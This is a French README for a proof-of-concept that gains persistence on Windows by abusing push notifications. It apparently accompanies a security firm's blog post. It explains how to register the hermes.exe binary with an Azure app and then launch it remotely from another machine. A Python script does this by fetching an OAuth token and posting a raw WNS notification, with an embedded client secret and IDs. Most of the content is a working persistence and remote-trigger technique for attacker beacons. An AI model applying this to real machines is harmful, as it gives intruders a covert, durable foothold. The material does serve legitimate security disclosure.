
Un PoC pour obtenir une persistance via les notifications push sur Windows
Un PoC pour obtenir une persistance via les notifications push sur Windows
Pour plus de détails techniques et de contexte, lisez notre article de blog ici : https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence
Avant toute chose, vous devez configurer Azure. Ensuite, vous devez exécuter le fichier exécutable une fois afin qu'il s'enregistre pour les notifications push. Il vous suffit de passer l'ID d'objet de votre application Azure comme argument et, si tout se passe bien, il affichera l'URI de canal telle que reçue par Microsoft. À ce stade, vous pouvez fermer l'application.
hermes.exe <object_id>
Si le SDK 1.3 n'est pas installé, le binaire tentera de le déployer ainsi que les extensions nécessaires.
Une fois que vous avez l'URI de canal, vous pouvez tenter de lancer votre exécutable à distance depuis une autre machine en appelant l'API de notification avec les détails de votre locataire, et regarder la magie opérer :
import requests
secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."
def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
# Acquire token
url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'grant_type': 'client_credentials',
'client_id': app_id,
'client_secret': secret,
'scope': 'https://wns.windows.com/.default'
}
response = requests.post(url, headers=headers, data=data)
response_json = response.json()
token = response_json['access_token']
# Send notification
headers = {
'Content-Type': 'application/octet-stream',
'Authorization': f'Bearer {token}',
'X-WNS-Type': 'wns/raw',
}
response = requests.post(channel_uri, headers=headers, data=notification_data)
return response.status_code, response.text
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")